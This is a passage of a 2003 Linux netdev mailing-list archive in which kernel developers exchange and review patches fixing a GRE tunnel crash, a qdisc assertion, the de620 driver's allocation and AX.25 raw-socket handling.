From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [PATCH] (0/7) device_probe enhancement References: <20030923144721.6001c598.shemminger@osdl.org> <20030923163910.4239ac33.davem@redhat.com> In-Reply-To: <20030923163910.4239ac33.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 659 Lines: 21 David S. Miller wrote: > On Tue, 23 Sep 2003 14:47:21 -0700 > Stephen Hemminger wrote: > > >>This comes from Al Viro's net device patchset and is updated for >>2.6.0-test5 latest. It adds a second probe list for network devices >>that are compiled into the kernel, but allocate their own network >>device rather than being handed a device. It is part of the >>incremental changes to have all network devices using dynamic >>allocation. > > > This all looks fine to me. Jeff, what do you think? Are you gonna > merge it if it's ok to you? Merging right now. I have some minor nits to pick, but they can be cleaned up later. From michal@logix.cz Wed Sep 24 02:02:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 02:02:43 -0700 (PDT) Received: from maxipes.logix.cz (maxipes.logix.cz [81.0.234.97]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8O92RFx008149 for ; Wed, 24 Sep 2003 02:02:28 -0700 Received: from logix.cz (styx.suse.cz [213.210.157.162]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client CN "Michal Ludvig", Issuer "Personal Freemail RSA 2000.8.30" (verified OK)) by maxipes.logix.cz (Postfix) with ESMTP id 7F3D0299DD; Wed, 24 Sep 2003 10:35:04 +0200 (CEST) Message-ID: <3F715732.5060306@logix.cz> Date: Wed, 24 Sep 2003 10:34:58 +0200 From: Michal Ludvig User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.5b) Gecko/20030902 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: [PATCH] ip_gre.c in 2.6.0-test5 Content-Type: multipart/mixed; boundary="------------040205010907060203000308" X-archive-position: 199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: michal@logix.cz Precedence: bulk X-list: netdev Content-Length: 1572 Lines: 52 This is a multi-part message in MIME format. --------------040205010907060203000308 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi all, this trivial patch fixes possible kernel crash when using GRE tunnels in 2.6.0-test. The problem was that "dev->init" wasn't set before register_netdevice() call and so the initialization function was never called. Consequently some fields in the tunnel structure were not initialized what finally led to a kernel crash upon receiving the first packet over the GRE tunnel. Michal Ludvig -- * A mouse is a device used to point at the xterm you want to type in. * Personal homepage - http://www.logix.cz/~mic --------------040205010907060203000308 Content-Type: text/plain; name="kernel-ip_gre-1.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-ip_gre-1.diff" # Patch for http://bugme.osdl.org/show_bug.cgi?id=1130 # Applies cleanly to 2.6.0-test5 # Michal Ludvig --- linux-2.6.0-test5-clean/net/ipv4/ip_gre.c 2003-09-08 21:50:18.000000000 +0200 +++ linux-2.6.0-test5/net/ipv4/ip_gre.c 2003-09-23 16:50:09.000000000 +0200 @@ -271,13 +271,17 @@ static struct ip_tunnel * ipgre_tunnel_l } dev = alloc_netdev(sizeof(*t), name, ipgre_tunnel_setup); + if (!dev) + return NULL; + + dev->init = ipgre_tunnel_init; + if (register_netdevice(dev) < 0) { kfree(dev); goto failed; } nt = dev->priv; - dev->init = ipgre_tunnel_init; nt->parms = *parms; dev_hold(dev); --------------040205010907060203000308-- From david-b@pacbell.net Wed Sep 24 08:04:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 08:04:44 -0700 (PDT) Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OF4dFx019875 for ; Wed, 24 Sep 2003 08:04:39 -0700 Received: from pacbell.net (ppp-67-118-246-189.dialup.pltn13.pacbell.net [67.118.246.189]) by mta7.pltn13.pbi.net (8.12.9/8.12.3) with ESMTP id h8OF4ZOr005650; Wed, 24 Sep 2003 08:04:36 -0700 (PDT) Message-ID: <3F71B3DD.1010900@pacbell.net> Date: Wed, 24 Sep 2003 08:10:21 -0700 From: David Brownell User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en, fr MIME-Version: 1.0 To: "David S. Miller" CC: hadi@cyberus.ca, netdev@oss.sgi.com Subject: Re: assertion failure at net/sched/sch_generic.c(530) References: <3F70E12A.1090204@pacbell.net> <20030923170216.32eaff53.davem@redhat.com> <20030923170858.3c3b0b8e.davem@redhat.com> <3F70E8EE.9070606@pacbell.net> <20030923174254.03218556.davem@redhat.com> In-Reply-To: <20030923174254.03218556.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: david-b@pacbell.net Precedence: bulk X-list: netdev Content-Length: 619 Lines: 32 David S. Miller wrote: > Honest, it's a pretty simple bug :) Try this patch: Yes, I see. The patch resolved this problem. - Dave > --- net/sched/sch_generic.c.~1~ Tue Sep 23 17:52:22 2003 > +++ net/sched/sch_generic.c Tue Sep 23 17:52:28 2003 > @@ -416,7 +416,6 @@ > > dev = qdisc->dev; > > -#ifdef CONFIG_NET_SCHED > if (dev) { > struct Qdisc *q, **qp; > for (qp = &qdisc->dev->qdisc_list; (q=*qp) != NULL; qp = &q->next) { > @@ -428,7 +427,6 @@ > } > #ifdef CONFIG_NET_ESTIMATOR > qdisc_kill_estimator(&qdisc->stats); > -#endif > #endif > if (ops->reset) > ops->reset(qdisc); > > From joe@perches.com Wed Sep 24 08:11:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 08:12:05 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OFBwFx020675 for ; Wed, 24 Sep 2003 08:11:59 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id IAA13712; Wed, 24 Sep 2003 08:53:59 -0700 Subject: [PATCH] 2.6.0-bk6 net/core/dev.c From: Joe Perches To: torvalds@osdl.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1064416289.1804.3.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 24 Sep 2003 08:11:30 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 479 Lines: 16 Symmetric to dev_add_pack. diff -urN linux-2.6.0-test5/net/core/dev.c shared_skb/net/core/dev.c --- linux-2.6.0-test5/net/core/dev.c 2003-09-22 08:04:06.000000000 -0700 +++ shared_skb/net/core/dev.c 2003-09-22 14:02:08.000000000 -0700 @@ -281,7 +281,7 @@ list_for_each_entry(pt1, head, list) { if (pt == pt1) { #ifdef CONFIG_NET_FASTROUTE - if (pt->data) + if (pt->data && (long)pt->data != 1) netdev_fastroute_obstacles--; #endif list_del_rcu(&pt->list); From vandrove@vc.cvut.cz Wed Sep 24 09:11:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 09:12:05 -0700 (PDT) Received: from vana.vc.cvut.cz (root@vana.vc.cvut.cz [147.32.240.58]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OGBuFx028642 for ; Wed, 24 Sep 2003 09:11:57 -0700 Received: from vana.vc.cvut.cz (smmsp@localhost [127.0.0.1]) by vana.vc.cvut.cz (8.12.10/8.12.10/Debian-4) with ESMTP id h8OGBs8E010847; Wed, 24 Sep 2003 18:11:54 +0200 Received: (from root@localhost) by vana.vc.cvut.cz (8.12.10/8.12.10/Debian-4) id h8OGBq0O010842; Wed, 24 Sep 2003 18:11:52 +0200 Date: Wed, 24 Sep 2003 18:11:52 +0200 From: Petr Vandrovec To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: assertion (dev->qdisc_list == NULL) failed at net/sched/sch_generic.c(530) Message-ID: <20030924161152.GA8683@vana.vc.cvut.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vandrove@vc.cvut.cz Precedence: bulk X-list: netdev Content-Length: 1012 Lines: 23 Hi Dave, today I noticed that I'm getting assertion below from 2.6.0-test5-xxx kernel from monday when I shut down vmnet. After looking at the code I found that with CONFIG_NET_SCHED disabled there is nobody who would clear dev->qdisc_list... Code which removes dev from the qdisc_list in the qdisc_destroy is inside CONFIG_NET_SCHED, and I see no other code which could clear qdisc_list... Is this assertion just bogus for CONFIG_NET_SCHED unset, or qdisc_destroy should not depend on CONFIG_NET_SCHED, or am I missing something in the vmnet initialization? It just uses ether_setup(), register_netdev() on initialization, and unregister_netdev() on module unload. # insmod vmnet; netifup vmnet1; ifconfig vmnet1 1.2.3.4 up /dev/vmnet: open called by PID 7413 (vmnet-netifup) /dev/vmnet: port on hub 1 successfully opened # ifconfig vmnet1 down # rmmod vmnet KERNEL: assertion (dev->qdisc_list == NULL) failed at net/sched/sch_generic.c(530) Thanks, Petr Vandrovec vandrove@vc.cvut.cz From shemminger@osdl.org Wed Sep 24 10:03:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 10:04:07 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OH3wFx032431 for ; Wed, 24 Sep 2003 10:03:58 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8OH3p114065; Wed, 24 Sep 2003 10:03:51 -0700 Date: Wed, 24 Sep 2003 10:03:26 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (1/7) de620 -- dynamic allocation (resend) Message-Id: <20030924100326.48f0f76a.shemminger@osdl.org> In-Reply-To: <3F70E809.6010509@pobox.com> References: <20030923144721.6001c598.shemminger@osdl.org> <3F70E809.6010509@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart_Wed__24_Sep_2003_10:03:26_-0700_08746280" X-archive-position: 203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 6148 Lines: 227 This is a multi-part message in MIME format. --Multipart_Wed__24_Sep_2003_10:03:26_-0700_08746280 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Convert de620 (original from Al Viro) * switched de620 to dynamic allocation * de620: embedded ->priv * de620: fixed IO before request_region() + fetch and don't clobber command line baseaddr This applies against 2.6.0-test5 bk latest with the probe2 (0/7) applied. Revision history of Space.c were: ======== Space.c 1.1..1.40 ======== D 1.40 03/09/23 05:56:25-07:00 shemminger@osdl.org[shemminger] 42 41 34/1/481 P drivers/net/Space.c C Import patch 0-probe2 ------------------------------------------------ D 1.39 03/09/23 12:09:54-07:00 shemminger@osdl.org 41 40 8/6/474 P drivers/net/Space.c C [NET]: Fix boot param string setup in Space.c ------------------------------------------------ D 1.38 03/09/23 12:08:59-07:00 shemminger@osdl.org 40 39 3/6/477 P drivers/net/Space.c C [NET]: Fix inaccurate comments in Space.c ------------------------------------------------ D 1.37 03/09/23 12:08:25-07:00 shemminger@osdl.org 39 38 3/11/480 P drivers/net/Space.c C [NET]: No need for alloc_divert_blk in Space.c ------------------------------------------------ D 1.36 03/09/12 13:40:26-04:00 mzyngier@freesurf.fr[jgarzik] 38 37 0/4/491 P drivers/net/Space.c C depca update ------------------------------------------------ D 1.35 03/09/08 10:01:25-04:00 shemminger@osdl.org[jgarzik] 37 36 0/5/495 P drivers/net/Space.c C (1/4) sdla - move out of Space.c --Multipart_Wed__24_Sep_2003_10:03:26_-0700_08746280 Content-Type: text/x-diff; name="1-de620.patch" Content-Disposition: attachment; filename="1-de620.patch" Content-Transfer-Encoding: quoted-printable diff -Nru a/drivers/net/Space.c b/drivers/net/Space.c --- a/drivers/net/Space.c Wed Sep 24 09:54:28 2003 +++ b/drivers/net/Space.c Wed Sep 24 09:54:28 2003 @@ -97,7 +97,7 @@ extern struct net_device *ltpc_probe(void); =20 /* Detachable devices ("pocket adaptors") */ -extern int de620_probe(struct net_device *); +extern struct net_device *de620_probe(int unit); =20 /* Fibre Channel adapters */ extern int iph5526_probe(struct net_device *dev); @@ -296,7 +296,7 @@ {NULL, 0}, }; =20 -static struct devprobe parport_probes[] __initdata =3D { +static struct devprobe2 parport_probes[] __initdata =3D { #ifdef CONFIG_DE620 /* D-Link DE-620 adapter */ {de620_probe, 0}, #endif @@ -387,8 +387,7 @@ probe_list(dev, mips_probes) =3D=3D 0 || probe_list(dev, eisa_probes) =3D=3D 0 || probe_list(dev, mca_probes) =3D=3D 0 || - probe_list(dev, isa_probes) =3D=3D 0 || - probe_list(dev, parport_probes) =3D=3D 0)=20 + probe_list(dev, isa_probes) =3D=3D 0) err =3D register_netdev(dev); =20 if (err) @@ -404,7 +403,7 @@ if (base_addr =3D=3D 1) return; =20 - return; /* nothing yet */ + probe_list2(unit, parport_probes, base_addr =3D=3D 0); } =20 #ifdef CONFIG_TR diff -Nru a/drivers/net/de620.c b/drivers/net/de620.c --- a/drivers/net/de620.c Wed Sep 24 09:54:28 2003 +++ b/drivers/net/de620.c Wed Sep 24 09:54:28 2003 @@ -226,7 +226,6 @@ =20 /* Initialization */ static int adapter_init(struct net_device *); -int de620_probe(struct net_device *); static int read_eeprom(struct net_device *); =20 =20 @@ -814,11 +813,16 @@ * * Check if there is a DE-620 connected */ -int __init de620_probe(struct net_device *dev) +struct net_device * __init de620_probe(int unit) { - static struct net_device_stats de620_netstats; - int i; byte checkbyte =3D 0xa5; + struct net_device *dev; + int err =3D -ENOMEM; + int i; + + dev =3D alloc_etherdev(sizeof(struct net_device_stats)); + if (!dev) + goto out; =20 SET_MODULE_OWNER(dev); =20 @@ -831,11 +835,23 @@ dev->base_addr =3D io; dev->irq =3D irq; =20 + /* allow overriding parameters on command line */ + if (unit >=3D 0) { + sprintf(dev->name, "eth%d", unit); + netdev_boot_setup_check(dev); + } +=09 if (de620_debug) printk(version); =20 printk(KERN_INFO "D-Link DE-620 pocket adapter"); =20 + if (!request_region(dev->base_addr, 3, "de620")) { + printk(" io 0x%3lX, which is busy.\n", dev->base_addr); + err =3D -EBUSY; + goto out1; + } + /* Initially, configure basic nibble mode, so we can read the EEPROM */ NIC_Cmd =3D DEF_NIC_CMD; de620_set_register(dev, W_EIP, EIPRegister); @@ -846,12 +862,8 @@ =20 if ((checkbyte !=3D 0xa5) || (read_eeprom(dev) !=3D 0)) { printk(" not identified in the printer port\n"); - return -ENODEV; - } - - if (!request_region(dev->base_addr, 3, "de620")) { - printk(KERN_ERR "io 0x%3lX, which is busy.\n", dev->base_addr); - return -EBUSY; + err =3D -ENODEV; + goto out2; } =20 /* else, got it! */ @@ -870,10 +882,6 @@ else printk(" UTP)\n"); =20 - /* Initialize the device structure. */ - dev->priv =3D &de620_netstats; - - memset(dev->priv, 0, sizeof(struct net_device_stats)); dev->get_stats =3D get_stats; dev->open =3D de620_open; dev->stop =3D de620_close; @@ -884,8 +892,6 @@ =09 /* base_addr and irq are already set, see above! */ =20 - ether_setup(dev); - /* dump eeprom */ if (de620_debug) { printk("\nEEPROM contents:\n"); @@ -899,7 +905,17 @@ printk("SCR =3D 0x%02x\n", nic_data.SCR); } =20 - return 0; + err =3D register_netdev(dev); + if (err) + goto out2; + return dev; + +out2: + release_region(dev->base_addr, 3); +out1: + free_netdev(dev); +out: + return ERR_PTR(err); } =0C /********************************** @@ -994,20 +1010,21 @@ * */ #ifdef MODULE -static struct net_device de620_dev; +static struct net_device *de620_dev; =20 int init_module(void) { - de620_dev.init =3D de620_probe; - if (register_netdev(&de620_dev) !=3D 0) - return -EIO; + de620_dev =3D de620_probe(-1); + if (IS_ERR(de620_dev)) + return PTR_ERR(de620_dev); return 0; } =20 void cleanup_module(void) { - unregister_netdev(&de620_dev); - release_region(de620_dev.base_addr, 3); + unregister_netdev(de620_dev); + release_region(de620_dev->base_addr, 3); + free_netdev(de620_dev); } #endif /* MODULE */ MODULE_LICENSE("GPL"); --Multipart_Wed__24_Sep_2003_10:03:26_-0700_08746280-- From torvalds@osdl.org Wed Sep 24 10:14:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 10:14:46 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OHEdFx000946 for ; Wed, 24 Sep 2003 10:14:40 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h8OHDs115835; Wed, 24 Sep 2003 10:13:54 -0700 Date: Wed, 24 Sep 2003 10:13:53 -0700 (PDT) From: Linus Torvalds To: Joe Perches , "David S. Miller" cc: Kernel Mailing List , Subject: Re: [PATCH] 2.6.0-bk6 net/core/dev.c In-Reply-To: <1064416289.1804.3.camel@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 736 Lines: 27 On Wed, 24 Sep 2003, Joe Perches wrote: > > Symmetric to dev_add_pack. Looks sane, but wouldn't it be cleaner to put this ugly special case logic with casts etc in an inline function and make the code a bit more readable at the same time? David? Linus > diff -urN linux-2.6.0-test5/net/core/dev.c shared_skb/net/core/dev.c > --- linux-2.6.0-test5/net/core/dev.c 2003-09-22 08:04:06.000000000 -0700 > +++ shared_skb/net/core/dev.c 2003-09-22 14:02:08.000000000 -0700 > @@ -281,7 +281,7 @@ > list_for_each_entry(pt1, head, list) { > if (pt == pt1) { > #ifdef CONFIG_NET_FASTROUTE > - if (pt->data) > + if (pt->data && (long)pt->data != 1) > netdev_fastroute_obstacles--; > #endif > list_del_rcu(&pt->list); > From joe@perches.com Wed Sep 24 10:18:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 10:18:29 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OHIMFx001476 for ; Wed, 24 Sep 2003 10:18:23 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id LAA14133; Wed, 24 Sep 2003 11:00:15 -0700 Subject: Re: [PATCH] 2.6.0-bk6 net/core/dev.c From: Joe Perches To: Linus Torvalds Cc: David S Miller , Kernel Mailing List , netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1064423867.15283.11.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 24 Sep 2003 10:17:47 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 355 Lines: 10 On Wed, 2003-09-24 at 10:13, Linus Torvalds wrote: > Looks sane, but wouldn't it be cleaner to put this ugly special case logic > with casts etc in an inline function and make the code a bit more readable > at the same time? I've got those. I've done the ((void*)1) conversions to PKT_SHARED_SKBs and found this missing. I'll submit those separately. From tgr@reeler.org Wed Sep 24 12:50:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 12:50:53 -0700 (PDT) Received: from rei.rakuen (dclient217-162-65-211.hispeed.ch [217.162.65.211]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OJodFx023211 for ; Wed, 24 Sep 2003 12:50:42 -0700 Received: by reeler.org id 1A2FdU-0006va-00 ; Wed, 24 Sep 2003 21:49:16 +0200 Date: Wed, 24 Sep 2003 21:49:16 +0200 From: Thomas Graf To: Petr Vandrovec Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: assertion (dev->qdisc_list == NULL) failed at net/sched/sch_generic.c(530) Message-ID: <20030924194916.GH21544@rei.reeler.org> References: <20030924161152.GA8683@vana.vc.cvut.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030924161152.GA8683@vana.vc.cvut.cz> X-archive-position: 206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tgraf@suug.ch Precedence: bulk X-list: netdev Content-Length: 1199 Lines: 41 Hi > # insmod vmnet; netifup vmnet1; ifconfig vmnet1 1.2.3.4 up > /dev/vmnet: open called by PID 7413 (vmnet-netifup) > /dev/vmnet: port on hub 1 successfully opened > # ifconfig vmnet1 down > # rmmod vmnet > KERNEL: assertion (dev->qdisc_list == NULL) failed at net/sched/sch_generic.c(530) The following patch should solve the issue. I'm not sure yet whetever it's a good idea to apply the patch to the tree, but as every dev has a qdisc even if CONFIG_NET_SCHED is not set, it would make sense. Thomas Index: net/sched/sch_generic.c =================================================================== RCS file: /cvs/tgr/linux-26/net/sched/sch_generic.c,v retrieving revision 1.1.1.1.2.1 diff -u -r1.1.1.1.2.1 sch_generic.c --- net/sched/sch_generic.c 21 Sep 2003 02:11:22 -0000 1.1.1.1.2.1 +++ net/sched/sch_generic.c 24 Sep 2003 19:36:19 -0000 @@ -398,7 +398,6 @@ dev = qdisc->dev; -#ifdef CONFIG_NET_SCHED if (dev) { struct Qdisc *q, **qp; for (qp = &qdisc->dev->qdisc_list; (q=*qp) != NULL; qp = &q->next) { @@ -411,7 +410,6 @@ #ifdef CONFIG_NET_ESTIMATOR qdisc_kill_estimator(&qdisc->stats); #endif -#endif if (ops->reset) ops->reset(qdisc); if (ops->destroy) From pe1rxq@amsat.org Wed Sep 24 14:40:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 14:40:32 -0700 (PDT) Received: from amsfep14-int.chello.nl (amsfep14-int.chello.nl [213.46.243.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OLeEFx027583 for ; Wed, 24 Sep 2003 14:40:17 -0700 Received: from mail.chello.nl ([212.83.83.7]) by amsfep14-int.chello.nl (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP id <20030924214008.FMKG161.amsfep14-int.chello.nl@mail.chello.nl>; Wed, 24 Sep 2003 23:40:08 +0200 Date: Wed, 24 Sep 2003 23:45:44 +0200 From: Jeroen Vreeken To: ralf@linux-mips.org, "David S . Miller" Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] fix sock_raw behaviour Message-ID: <20030924234544.A10634@jeroen.pe1rxq.ampr.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="AWniW0JNca5xppdA" Content-Transfer-Encoding: 8bit X-Mailer: Balsa 1.1.0 X-archive-position: 207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pe1rxq@amsat.org Precedence: bulk X-list: netdev Content-Length: 4422 Lines: 124 --AWniW0JNca5xppdA Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Hi, The attached patch fixes the behaviour of SOCK_RAW sockets in 2.6.0test5 Address and port matching is now being done. A locking problem is also solved. And in the recv function the source address is reported back instead of the destination. (This was solved earlier in 2.2.x but appearantly didn't make it into 2.4 and further.) Jeroen --AWniW0JNca5xppdA Content-Type: application/octet-stream; charset=us-ascii Content-Disposition: attachment; filename="sock-raw.diff" --- linux-2.6.0-test5/net/ax25/af_ax25.c.org 2003-09-23 23:26:17.000000000 +0200 +++ linux-2.6.0-test5/net/ax25/af_ax25.c 2003-09-24 23:33:32.000000000 +0200 @@ -231,42 +231,29 @@ /* * Look for any matching address - RAW sockets can bind to arbitrary names */ -struct sock *ax25_addr_match(ax25_address *addr) +void ax25_send_to_raw(ax25_address *addr, struct sk_buff *skb, int proto) { - struct sock *sk = NULL; + struct sock *sk; ax25_cb *s; + struct sk_buff *copy; struct hlist_node *node; spin_lock_bh(&ax25_list_lock); ax25_for_each(s, node, &ax25_list) { if (s->sk != NULL && ax25cmp(&s->source_addr, addr) == 0 && - s->sk->sk_type == SOCK_RAW) { + s->sk->sk_type == SOCK_RAW && + s->sk->sk_protocol == proto && + (!s->ax25_dev || s->ax25_dev->dev == skb->dev)) { sk = s->sk; - lock_sock(sk); - break; + bh_lock_sock(sk); + if (atomic_read(&sk->sk_rmem_alloc) <= sk->sk_rcvbuf && + (copy = skb_clone(skb, GFP_ATOMIC)) != NULL) + if (sock_queue_rcv_skb(sk, copy) != 0) + kfree_skb(copy); + bh_unlock_sock(sk); } } - spin_unlock_bh(&ax25_list_lock); - - return sk; -} - -void ax25_send_to_raw(struct sock *sk, struct sk_buff *skb, int proto) -{ - struct sk_buff *copy; - struct hlist_node *node; - - sk_for_each_from(sk, node) - if (sk->sk_type == SOCK_RAW && - sk->sk_protocol == proto && - atomic_read(&sk->sk_rmem_alloc) <= sk->sk_rcvbuf) { - if ((copy = skb_clone(skb, GFP_ATOMIC)) == NULL) - return; - - if (sock_queue_rcv_skb(sk, copy) != 0) - kfree_skb(copy); - } } /* @@ -1633,16 +1620,16 @@ if (msg->msg_namelen != 0) { struct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name; ax25_digi digi; - ax25_address dest; + ax25_address src; - ax25_addr_parse(skb->mac.raw+1, skb->data-skb->mac.raw-1, NULL, &dest, &digi, NULL, NULL); + ax25_addr_parse(skb->mac.raw+1, skb->data-skb->mac.raw-1, &src, NULL, &digi, NULL, NULL); sax->sax25_family = AF_AX25; /* We set this correctly, even though we may not let the application know the digi calls further down (because it did NOT ask to know them). This could get political... **/ sax->sax25_ndigis = digi.ndigi; - sax->sax25_call = dest; + sax->sax25_call = src; if (sax->sax25_ndigis != 0) { int ct; --- linux-2.6.0-test5/include/net/ax25.h.org 2003-09-24 23:21:27.000000000 +0200 +++ linux-2.6.0-test5/include/net/ax25.h 2003-09-24 23:21:55.000000000 +0200 @@ -227,8 +227,7 @@ struct sock *ax25_find_listener(ax25_address *, int, struct net_device *, int); struct sock *ax25_get_socket(ax25_address *, ax25_address *, int); extern ax25_cb *ax25_find_cb(ax25_address *, ax25_address *, ax25_digi *, struct net_device *); -extern struct sock *ax25_addr_match(ax25_address *); -extern void ax25_send_to_raw(struct sock *, struct sk_buff *, int); +extern void ax25_send_to_raw(ax25_address *, struct sk_buff *, int); extern void ax25_destroy_socket(ax25_cb *); extern ax25_cb *ax25_create_cb(void); extern void ax25_fillin_cb(ax25_cb *, ax25_dev *); --- linux-2.6.0-test5/include/net/ax25.h.org 2003-09-24 23:21:27.000000000 +0200 +++ linux-2.6.0-test5/include/net/ax25.h 2003-09-24 23:21:55.000000000 +0200 @@ -227,8 +227,7 @@ struct sock *ax25_find_listener(ax25_address *, int, struct net_device *, int); struct sock *ax25_get_socket(ax25_address *, ax25_address *, int); extern ax25_cb *ax25_find_cb(ax25_address *, ax25_address *, ax25_digi *, struct net_device *); -extern struct sock *ax25_addr_match(ax25_address *); -extern void ax25_send_to_raw(struct sock *, struct sk_buff *, int); +extern void ax25_send_to_raw(ax25_address *, struct sk_buff *, int); extern void ax25_destroy_socket(ax25_cb *); extern ax25_cb *ax25_create_cb(void); extern void ax25_fillin_cb(ax25_cb *, ax25_dev *); --AWniW0JNca5xppdA-- From joe@perches.com Wed Sep 24 15:33:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 15:34:04 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OMXaFx028723 for ; Wed, 24 Sep 2003 15:33:56 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA15108; Wed, 24 Sep 2003 16:15:23 -0700 Subject: [PATCH] 2.6.0-test5-bk11 